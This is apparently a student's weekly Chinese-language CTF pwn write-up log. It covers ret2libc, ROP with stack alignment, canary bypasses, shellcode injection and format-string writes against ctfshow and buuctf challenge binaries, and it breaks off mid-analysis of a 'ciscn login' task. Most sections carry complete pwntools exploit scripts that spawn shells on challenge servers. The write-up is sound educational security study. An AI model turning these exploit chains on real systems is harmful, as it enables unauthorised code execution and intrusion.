第一周 ctfshow_pwn03 checksec一下
32位程序开了nx,ret2shellcode不行了 拖入ida main函数
查看那个好明显的函数pwnme
可溢出 没有找到后门等 ret2text和ret2syscall都不可以了 我能想到的是ret2libc 本题有puts,所以可以用puts来泄露libc的版本 原因:延时绑定,可以泄露调用过的函数的got地址(具体不太了解) 第一个payload
1 payload=b'a' *13 +p32(puts_plt)+p32(main_addr)+p32(puts_got)
之前的准备:
1 2 3 4 elf=ELF('./stack1' ) puts_plt=elf.plt['puts' ] puts_got=efl.got['puts' ] main_addr=elf.symbols['main' ]
偏移量的计算:ida给的是对的
9+4=13 解释为啥payload先plt再main最后got 我的理解:先plt是调用puts函数,main的地址作为返回地址为了下一次的payload发送,got则作为函数的参数,即puts函数的地址。 发送数据后要接受puts的地址 接受之前要
1 2 io.recvuntil('32bits\n' ) io.recvuntil('\n' )
之后接收数据
1 puts_addr=u32(io.recv(4 ))
接收四个字节(32位的一个地址长度)
然后获取libc版本
1 libc=LibcSearcher('puts' ,puts_addr)
计算基址
1 libcbase=puts_addr-elf.dump('puts' )
算system和/bin/sh
1 2 sys_addr=libcbase+libc.dump('system' ) bin_sh=libcbase+libc.dump('str_bin_sh' )
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *io=remote('pwn.challenge.ctf.show' ,28190 ) elf=ELF('./stack1' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] main_addr=elf.symbols['main' ] payload=b'a' *13 +p32(puts_plt)+p32(main_addr)+p32(puts_got) io.sendline(payload) io.recvuntil('32bits\n' ) io.recvuntil('\n' ) puts_addr=u32(io.recv(4 )) print (hex (puts_addr))libc=LibcSearcher('puts' ,puts_addr) libcbase=puts_addr-libc.dump('puts' ) sys_addr=libcbase+libc.dump('system' ) bin_sh=libcbase+libc.dump('str_bin_sh' ) payload=b'a' *13 +p32(sys_addr)+b'a' *4 +p32(bin_sh) io.sendline(payload) io.interactive()
运行后就可以拿到shell
buuctf_jarvisoj_level2_x64 checksec一下
64位,开启了nx保护
拖入ida
查看function函数
查看栈结构
偏移量:0x88
f12+shift查看字符串窗口
有/bin/sh和system
最终确认二者地址为
sys_addr=0x4004C0
bin_sh=0x600A90
因为文件是64位的,需要用rdi传参
又system函数有栈对齐的要求,需要ret来凑数
关于栈对齐,推荐一篇文章
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园
文章中说system函数要求在其之前16位栈对齐,是说在system之前的长度必须是16的倍数
(偏移量)0x88+(pop_rid)8+(bin_sh)8=0x98=152再加8是16的倍数
所以需要ret来栈对齐
查找pop_rid和pop_ret的gadget
ROPgadget –binary 文件名 –only ‘pop|ret’
payload如下
1 payload=b'a' *0x88 +p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import *io=remote('node4.buuoj.cn' ,25190 ) pop_rdi=0x4006b3 bin_sh=0x00600A90 sys_addr=0x4004C0 pop_ret=0x4004a1 payload=b'a' *0x88 +p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr) io.sendline(payload) io.interactive()
但是打远程不对齐也能通
第二周 buuctf_[OGeek2019]babyrop checksec一下
32位,重定位表只读且堆栈不可执行 在ida中查看,没有后门等 只能ROPret2libc main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main () { int buf; char v2; int fd; sub_80486BB(); fd = open("/dev/urandom" , 0 ); if ( fd > 0 ) read(fd, &buf, 4u ); v2 = sub_804871F(buf); sub_80487D0(v2); return 0 ; }
/dev/urandom是Linux的一个生成随机数文件,0代表只读,但是open函数还是返回一个大于0的数,read函数将fd写给buf,因此buf处的数是随机的。 将buf作为参数传给sub_804871F返回值赋值给v2,将v2作为参数传给 sub_80487D0。
sub_804871F函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl sub_804871F (int a1) { size_t v1; char s[32 ]; char buf[32 ]; ssize_t v5; memset (s, 0 , sizeof (s)); memset (buf, 0 , sizeof (buf)); sprintf (s, "%ld" , a1); v5 = read(0 , buf, 0x20 u); buf[v5 - 1 ] = 0 ; v1 = strlen (buf); if ( strncmp (buf, s, v1) ) exit (0 ); write(1 , "Correct\n" , 8u ); return (unsigned __int8)buf[7 ]; }
memset函数:将某一块区域内容设置为指定内容,多用于数组的初始化。 开始的两个 memset函数会将s和buf中元素都初始化为0. sprintf函数,这个在我写c结课设计项目时遇到过,他是把a1打印在s上。 read函数从键盘读取0x20字节内容写入buf,并将返回值赋值给v5,查找资料的read函数返回值为读取的字节数。 接下来判断buf和s大小,相等返回0,不相等返回非0的数程序就会终止。因此第一个任务就是使比较结果为0 sub_80487D0函数
1 2 3 4 5 6 7 8 9 ssize_t __cdecl sub_80487D0 (char a1) { char buf[231 ]; if ( a1 == 127 ) return read(0 , buf, 0xC8 u); else return read(0 , buf, a1); }
这个就不用说了。
思路 在sub_804871F函数中,我们确定了第一个目的,防止程序退出,就要使strncmp(buf, s, v1)结果为0 可以看到v1 = strlen(buf);这个总能看到,又是\x00截断,在输入时设置第一个元素为\x00 最后返回的时buf[7],看sub_80487D0函数,我们需要将传入的参数尽可能大了写,这样才能栈溢出并进行想要的操作 所以在输入时就要将buf[7]也一起修改了。 另外,read函数的结束符也是算一个字节的,所以输入的时候只要*7就可以了 这里又用到了\这个符号,\为转义字符,’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。 这个用到扩展ASCII,因为键盘上能输入的字符对应最大的ASCII数不足以完成栈溢出。 关于这个推荐收藏 因此第一个payload
1 payload=b'\x00' +b'\xff' *7
题目给了libc库版本,我本来不想用的,但是LibcSearcher找不到对应的版本,即使更新了也找不到,没办法又学会了一种方法。
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *io=remote("node4.buuoj.cn" ,26594 ) elf=ELF("./pwn" ) main_addr=0x8048825 payload=b'\x00' +b'\xff' *7 io.sendline(payload) io.recvuntil('Correct\n' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] payload1=b'a' *0xe7 +b'a' *4 +p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) io.sendline(payload1) write_addr=u32(io.recv(4 )) print (hex (write_addr))libc=ELF("./libc-2.23.so" ) libcbase=write_addr-libc.symbols['write' ] sys_addr=libcbase+libc.sym["system" ] bin_sh=libcbase+next (libc.search(b'/bin/sh' )) payload2=b'a' *0xe7 +b'a' *4 +p32(sys_addr)+p32(0 )+p32(bin_sh) io.sendline(payload) io.recvuntil('Correct\n' ) io.sendline(payload2) io.interactive()
不想解释了,有些注意点
32位程序函数参数直接压入栈中,即函数地址->函数的返回地址->参数n->参数n-1>···>参数1
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
行原本其他博客中是binsh_libc=libc.search('/bin/sh').next()
,但是一用就报错,后来找到原因是因为python3取消了那种用法。
buuctf_[HarekazeCTF2019]baby_rop checksec
64位,堆栈不可执行 拖入ida
f12+shift查看字符串窗口 找到好东西了,system和/bin/sh都有
查找地址后得到 bin_sh=0x601048 system=0x400490 再找溢出点,也很好找
ida给出的栈长度是对的 最终exp
1 2 3 4 5 6 7 8 9 10 from pwn import *io=remote('node4.buuoj.cn' ,27885 ) pop_rdi=0x400683 bin_sh=0x601048 system=0x400490 pop_ret=0x0400479 payload=b'a' *0x18 +p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system) io.sendline(payload) io.interactive()
题目中提示ubuntu18,这个意思是要栈对齐,在之前的题目中提到过,就是system函数之前的字节数为16的倍数 所以这里用到pop_ret来凑数 有趣的是打通之后, flag没有在当前目录,我还好奇的去群里问了一下,很快就找到方法 输入这条指令就能找到flag的位置
ctfshow_pwn04 泄露绕过 checksec
32位,堆栈不可执行,还有canary保护,这是我第一次做关于绕过canary的题,看wp是肯定的
拖入ida
main函数调用了vuln函数,这是vuln函数
v3就是canary
题目让输入两次,一次用printf泄露canary,一次拿shell
计算canary在printf函数处的偏移量 gdb调试,查看vuln函数汇编指令
第一个框是canary产生的位置,打印ebp-0xc就可以看到canary,记住此时的值
第二个框是printf,在此处打断点用来算偏移量
第三个框是检验canary的位置
在run之后查看栈,寻找canary的值,框出来的0x7c
0x7c / 4 = 0x1f=31,据此可得canary在printf函数处的偏移量是31
根据格式化字符串漏洞,输入%31$x就可以打印出canary的值了
因此第一次输入的部分exp为
1 2 3 io.recvuntil('Hacker!\n' ) io.sendline(b"%31$x" ) canary= int (io.recv(),16 )
接收canary用u32(io.recv(4))不行,我也不知道为啥,谁叫咱菜呢
ida查看栈结构确定canary在栈中的位置
忘了说后门了
在ida可以看到,很明显的,getshell
地址是getshell=0x804859B
所以写payload
1 payload=b'a' *100 +p32(canary)+b'a' *12 +p32(getshell)
canary后面的12(8+4)也是根据ida看的
最终exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io=process('./ex2' ) io.recvuntil('Hacker!\n' ) io.sendline(b"%31$x" ) getshell=0x804859B canary= int (io.recv(),16 ) payload=b'a' *100 +p32(canary)+b'a' *12 +p32(getshell) io.sendline(payload) io.interactive()
第二种解法-覆盖绕过 从考核中其他师傅的wp中了解到的方法
canary格式是0x************00(最低位是\x00),因为是小端存储所以在最开始的地方是\x00(倒序存放),可以防止一些输出函数在输出前面内容时把canary连着也一起输出出来,有些输出函数遇到\x00会截断。
以canary为0xaaabaa00为例,在内存中存储为0x00aabaaa,这时我们在canary前面填入一个字符串,又恰好多输入一个字符,那么就能在后面输出时把canary也输出出来。
这也要看输入的函数,有些输入函数在输入完成后会在末尾加上\x00,这也是gets函数不能用来泄露canary的原因。
read函数不会再输入完成后再末尾加上\x00。
这道题用的就是read函数,所以用sendline 先输入到canary,再利用下面的printf函数打印出canary的值。
1 2 3 io.sendline(b'a' *100 ) io.recvuntil(b'a' *100 ) canary=u32(io.recv(4 ))-0xa
解释为什么要减去0xa
之前我有写要用sendline,其实不是一定的,sendline与send区别在于,sendline会多发送一个\n(换行符)
而\n对应的ascii值为0xa,上面也说了,数据在内存中倒序存放,所以在内从中canary应该是0xa123456(随意写的一个例子),直接接收到的canary应为0x654321a,减去0xa之后为0x6543210,倒序存放,又canary是以\x00结尾的,所以比对时canary值是没有改变的。
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=process('./ex2' ) getshell=0x0804859B io.sendline(b'a' *100 ) io.recvuntil(b'a' *100 ) canary=u32(io.recv(4 ))-0xa payload=b'a' *100 +p32(canary)+b'a' *12 +p32(getshell) io.sendline(payload) io.interactive()
buuctf_ciscn_2019_n_5 checksec一下
基本没有保护,那就可以试试ret2shellcode了 拖入ida
也很简单,name是bss段的,name写shellcode,gets溢出到name执行shellcode exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,25169 ) shellcode_addr=0x601080 shellcode=asm(shellcraft.sh()) payload=b'a' *0x28 +p64(shellcode_addr) io.recvuntil(b'name\n' ) io.sendline(shellcode) io.recvuntil(b'me?\n' ) io.sendline(payload) io.interactive()
值得一提的是
1 context(os='linux' ,arch='amd64' ,log_level='debug' )
这行代码是很主要的,它表明了系统以及版本,如果不表明系统,生成的shellcode是32位的,那样就打不通。 还有,打本地也打不通。
buuctf_ciscn_2019_en_2 这个题和第八题是一样的,我没去了解为啥一样,重新做了一遍,仍是有不会的地方 checksec一下
64位,堆栈不可执行 ida
这是一个加密程序,选择1可以加密 这是加密函数
绕过加密的办法:通过\x00截断strlen获取加密长度 还是直接给exp再解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,26149 ) elf=ELF('./ciscn_2019_en_2' ) pop_rdi=0x400c83 pop_ret=0x4006b9 main_addr=elf.sym['main' ] puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] io.recvuntil(b'choice!\n' ) io.sendline(b'1' ) io.recvuntil(b'encrypted\n' ) payload=b'\x00' +b'a' *0x57 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload) io.recvuntil(b'Ciphertext\n' ) io.recvuntil(b'\n' ) puts_addr=u64(io.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\0' )) libc=LibcSearcher('puts' ,puts_addr) libcbase=puts_addr-libc.dump('puts' ) system=libcbase+libc.dump('system' ) str_bin_sh=libcbase+libc.dump('str_bin_sh' ) payload=b'\x00' +b'a' *0x57 +p64(pop_ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system) io.recvuntil(b'choice!\n' ) io.sendline(b'1' ) io.recvuntil('encrypted\n' ) io.sendline(payload) io.interactive()
第三周 buuctf_not_the_same_3dsctf_2016 checksec
32位堆栈不可执行 ida main函数
1 2 3 4 5 6 7 8 nt __cdecl main(int argc, const char **argv, const char **envp) { char v4[45 ]; // [esp+Fh] [ebp-2Dh] BYREF printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... " ); gets(v4); return 0 ; }
有溢出 查看字符串窗口
看到了flag.txt 跟进后找到了get_secret()函数
1 2 3 4 5 6 7 8 int get_secret(){ int v0; // esi v0 = fopen("flag.txt" , &unk_80CF91B); fgets(&fl4g, 45 , v0); return fclose(v0); }
地址为get_secret=0x080489A0 这个函数打开了flag.txt文件并且存储到了fl4g
位置
所以flag地址为flag_addr=0x80ECA2D 想要把flag输出,可以用printf、puts,我尝试了printf,但是没有成功,后来看了wp,都是用的write 改成用write write有三个参数,一个是文件描述符(0,1,2),数据的地址,写入的长度。 第一个参数设置为1,代表输出流 栈结构不看了,多大都能溢出,还有看的结构里发现不用多溢出4,汇编显示最后没有用到ebp payload我写了俩
1 2 3 payload1=b'a' *0x2d +p32(get_secret)+p32(main_addr) payload2=b'a' *0x2d +p32(write_addr)+p32(0 )+p32(1 )+p32(flag_addr)+p32(45 )
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,28754 ) elf=ELF('./not_the_same_3dsctf_2016' ) get_secrec=0x80489A0 flag_addr=0x80ECA2D write_addr=elf.sym['write' ] main_addr=elf.sym['main' ] payload1=b'a' *0x2d +p32(get_secrec)+p32(main_addr) payload2=b'a' *0x2d +p32(write_addr)+p32(0 )+p32(1 )+p32(flag_addr)+p32(45 ) io.sendline(payload1) io.sendline(payload2) io.interactive()
ctfshow_pwn07 checksec
32位,堆栈不可执行
ida
main函数
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { FILE *v3; setvbuf(stdin , 0LL , 1 , 0LL ); v3 = _bss_start; setvbuf(_bss_start, 0LL , 2 , 0LL ); welcome(v3); return 0 ; }
welcome函数
1 2 3 4 5 6 7 int welcome () { char s[12 ]; gets(s); return puts (s); }
welcome函数栈结构
没有system和binsh,本题是ret2libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('pwn.challenge.ctf.show' ,28144 ) elf=ELF('./pwn' ) main_addr=elf.sym['main' ] puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi=0x4006e3 ret=0x4004c6 payload1=b'a' *(0xc +0x8 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload1) io.recvuntil('\n' ) puts_addr=u64(io.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc=LibcSearcher('puts' ,puts_addr) libcbase=puts_addr-libc.dump('puts' ) system=libcbase+libc.dump('system' ) str_bin_sh=libcbase+libc.dump('str_bin_sh' ) payload2=b'a' *(0xc +8 )+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)+p64(0 ) io.sendline(payload2) io.interactive()
不解的地方 在接收puts的地址的时候,为什么是6位,尝试8位,是打不通的
ctfshow_pwn10 查看安全策略和反汇编 checksec
ida
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int v6; int v7; int v8; char format[100 ]; int *p_argc; p_argc = &argc; setvbuf(stdin , 0 , 1 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); printf ("try pwn me?" ); ((void (__stdcall *)(const char *, char *, int , int , int , int , int ))__isoc99_scanf)("%s" , format, v4, v5, v6, v7, v8); printf (format); if ( num == 16 ) system("cat flag" ); else puts (aYouMayNeedToKe); return 0 ; }
num的位置
num=0x804A030
主函数中有格式化字符串漏洞,可以利用修改num处的值为16从而拿到flag
运行找偏移
a的ascii是61,可以看出偏移是7
所以
1 payload=p32(num)+b'a' *12 +b'%7$n'
32位嘛,地址长度是四字节,在加上12就是需要的16了
exp 1 2 3 4 5 6 7 8 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('pwn.challenge.ctf.show' ,28200 ) num=0x0804A030 payload=p32(num)+b'a' *12 +b'%7$n' io.sendline(payload) io.interactive()
buuctf_ciscn_2019_ne_5 查看安全策略和反汇编 checksec
32位堆栈不可执行
ida
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int __cdecl main (int argc, const char **argv, const char **envp) { int result; int v4; char src[4 ]; char v6[124 ]; char s1[4 ]; char v8[96 ]; int *p_argc; p_argc = &argc; setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); fflush(stdout ); *(_DWORD *)s1 = 48 ; memset (v8, 0 , sizeof (v8)); *(_DWORD *)src = 48 ; memset (v6, 0 , sizeof (v6)); puts ("Welcome to use LFS." ); printf ("Please input admin password:" ); __isoc99_scanf("%100s" , s1); if ( strcmp (s1, "administrator" ) ) { puts ("Password Error!" ); exit (0 ); } puts ("Welcome!" ); puts ("Input your operation:" ); puts ("1.Add a log." ); puts ("2.Display all logs." ); puts ("3.Print all logs." ); printf ("0.Exit\n:" ); __isoc99_scanf("%d" , &v4); switch ( v4 ) { case 0 : exit (0 ); return result; case 1 : AddLog(src); result = sub_804892B(argc, argv, envp); break ; case 2 : Display(src); result = sub_804892B(argc, argv, envp); break ; case 3 : Print(); result = sub_804892B(argc, argv, envp); break ; case 4 : GetFlag(src); result = sub_804892B(argc, argv, envp); break ; default : result = sub_804892B(argc, argv, envp); break ; } return result; }
查看字符串窗口
看到flag字样,跟进后
GetFlag函数
1 2 3 4 5 6 7 8 9 10 int __cdecl GetFlag (char *src) { char dest[4 ]; char v3[60 ]; *(_DWORD *)dest = 48 ; memset (v3, 0 , sizeof (v3)); strcpy (dest, src); return printf ("The flag is your log:%s\n" , dest); }
提示在log,找到有关log
addlog函数
1 2 3 4 5 int __cdecl AddLog (int a1) { printf ("Please input new log info:" ); return __isoc99_scanf("%128s" , a1); }
可以输入128字节,通过addlog函数给src写payload
再调用getflag函数,将src复制到dest,造成栈溢出,可以拿到shell
有了system还差/bin/sh,虽然没法直接找到/bin/sh的gadget,但是找到了sh的gadget
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,26921 ) str_sh=0x080482ea system=0x80484D0 io.recvuntil(b'password:' ) io.sendline(b'administrator' ) io.recvuntil(b':' ) io.sendline(b'1' ) io.recvuntil(b'info:' ) payload=b'a' *0x4c +p32(system)+b'0000' +p32(str_sh) io.sendline(payload) io.recvuntil(b':' ) io.sendline(b'4' ) io.interactive()
第四周 buuctf_铁人三项(第五赛区)_2018_rop checksec
32位堆栈不可执行 ida main
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { be_nice_to_people(); vulnerable_function(); return write(1 , "Hello, World\n" , 0xD u); }
vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[136 ]; return read(0 , buf, 0x100 u); }
没有后门函数 ret2libc exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,27557 ) elf=ELF('./2018_rop' ) write_got=elf.got['write' ] write_plt=elf.plt['write' ] vulnerable_function_addr=elf.sym['vulnerable_function' ] payload1=b'a' *(136 +4 )+p32(write_plt)+p32(vulnerable_function_addr)+p32(1 )+p32(write_got)+p32(0x4 ) io.sendline(payload1) write_addr=u32(io.recv(4 )) print (hex (write_addr))libc=LibcSearcher('write' ,write_addr) libcbase=write_addr-libc.dump('write' ) system=libcbase+libc.dump('system' ) str_bin_sh=libcbase+libc.dump('str_bin_sh' ) payload2=b'a' *(136 +4 )+p32(system)+b'1234' +p32(str_bin_sh) io.sendline(payload2) io.interactive()
buuctf_bjdctf_2020_babyrop checksec
64位,堆栈不可执行 ida main
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); vuln(); return 0 ; }
init
1 2 3 4 5 6 7 int init () { setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); puts ("Can u return to libc ?" ); return puts ("Try u best!" ); }
vlun
1 2 3 4 5 6 7 ssize_t vuln () { char buf[32 ]; puts ("Pull up your sword and tell me u story!" ); return read(0 , buf, 0x64 uLL); }
没有后门,ret2libc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,26248 ) elf=ELF('./bjdctf_2020_babyrop' ) ret=0x4004c9 pop_rdi=0x400733 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] vuln_addr=elf.sym['vuln' ] payload1=b'a' *0x28 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr) io.recvuntil(b'story!\n' ) io.sendline(payload1) puts_addr=u64(io.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc=LibcSearcher('puts' ,puts_addr) libcbase=puts_addr-libc.dump('puts' ) system=libcbase+libc.dump('system' ) str_bin_sh=libcbase+libc.dump('str_bin_sh' ) payload2=b'a' *0x28 +p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system) io.recvuntil(b'story!\n' ) io.sendline(payload2) io.interactive()
这次看到了一句关于puts地址接收6位的话。 puts的有效地址只有6位,需要再结尾用0补齐8位 但是仍是没明白为啥
buuctf_bjdctf_2020_babystack2 checksec
64位,堆栈不可执行 ida main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[12 ]; size_t nbytes; setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); if ( (int )nbytes > 10 ) { puts ("Oops,u name is too long!" ); exit (-1 ); } puts ("[+]What's u name?" ); read(0 , buf, (unsigned int )nbytes); return 0 ; }
后门函数(就在main上面,其实是从字符串窗口找到的)
1 2 3 4 5 __int64 backdoor () { system("/bin/sh" ); return 1LL ; }
main函数栈结构
尝试覆盖nbytes,将其数值改大,失败了。 后经过观察,输入时的nybtes是有符号数字,而在限制read输入长度时是无符号数字,有符号数和无符号数(没有正负号,都为正)编码不同,具体可以百度搜索或去学习csapp。 所以输入-1,在后面read输入时输入长度就是无符号数中的最大值 exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,25691 ) backdoor=0x400726 io.recvuntil(b'name:\n' ) io.sendline(b'-1' ) io.recvuntil(b'name?\n' ) payload=b'a' *0x18 +p64(backdoor) io.sendline(payload) io.interactive()
buuctf_jarvisoj_fm checksec
32位,堆栈不可执行,有canary保护 ida main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14 u); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x50 u); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
和ctfshow中的一题很像,考察格式化字符串漏洞利用 运行程序,确定输入对于printf的偏移量
a的ASCII码时61,所以输入内容相对于printf偏移量为11 main函数中x地址为
x_addr=0x804A02C
exp
1 2 3 4 5 6 7 8 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,28848 ) x_addr=0x804A02C payload=p32(x_addr)+b'%11$n' io.sendline(payload) io.interactive()
第五周 ciscn login 查看保护
保护全开
逆向分析 main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { char s[1032 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); sub_C0A(a1, a2, a3); while ( 1 ) { memset (s, 0 , 0x400 uLL); printf (">>> " ); read(0 , s, 0x3FF uLL); sub_FFD(s); } }
sub_FFD函数:检验输入格式,仅符合 opt:v7\n或msg:dest\n 的命令可输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 unsigned __int64 __fastcall sub_FFD (const char *a1) { char *sa; char *sb; char *sc; char *sd; char v7; int v8; int v9; void *dest; char *s1; char *nptr; unsigned __int64 v13; v13 = __readfsqword(0x28 u); memset (qword_202040, 0 , sizeof (qword_202040)); v8 = 0 ; v7 = 0 ; dest = 0LL ; while (!*a1 || *a1 != 10 && (*a1 != 13 || a1[1 ] != 10 )) { if (v8 <= 5 ) qword_202040[2 * v8] = a1; sb = strchr (a1, 58 ); if (!sb) { puts ("error." ); exit (1 ); } *sb = 0 ; for (sc = sb + 1 ; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9 ); ++sc) *sc = 0 ; if (!*sc) { puts ("abort." ); exit (2 ); } if (v8 <= 5 ) qword_202040[2 * v8 + 1 ] = sc; sd = strchr (sc, 10 ); if (!sd) { puts ("error." ); exit (3 ); } *sd = 0 ; a1 = sd + 1 ; if (*a1 == 13 ) *a1++ = 0 ; s1 = (char *)qword_202040[2 * v8]; nptr = (char *)qword_202040[2 * v8 + 1 ]; if (!strcasecmp(s1, "opt" )) { if (v7) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if (strcasecmp(s1, "msg" )) { puts ("error." ); exit (4 ); } if (strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if (dest) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if (v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8; } *a1 = 0 ; sa = (char *)(a1 + 1 ); if (*sa == 10 ) *sa = 0 ; switch (v7) { case 2 : sub_DA8((const char *)dest); break ; case 3 : sub_EFE(dest); break ; case 1 : sub_CBD((const char *)dest); break ; default : puts ("error." ); exit (6 ); } return __readfsqword(0x28 u) ^ v13; }
v7=2时,sub_DA8函数:验证两个变量,将dest内容执行(先映射到内存再执行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 unsigned __int64 __fastcall sub_DA8 (const char *a1) { unsigned int v1; size_t v2; int i; void *dest; unsigned __int64 v6; v6 = __readfsqword(0x28 u); for (i = 0 ; i < strlen (a1); ++i) { if (!isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if (unk_202028 != 1 ) { puts ("oh!" ); exit (-1 ); } if (unk_202024) { v1 = getpagesize(); dest = (void *)(int )mmap((char *)&loc_FFE + 2 , v1, 7 , 34 , 0 , 0LL ); v2 = strlen (a1); memcpy (dest, a1, v2); ((void (*)(void ))dest)(); } else { puts (a1); } return __readfsqword(0x28 u) ^ v6; }
因此要将两个变量修改到符合条件,当v7=1时的函数sub_CBD可以将两个变量都改成1,使其符合条件
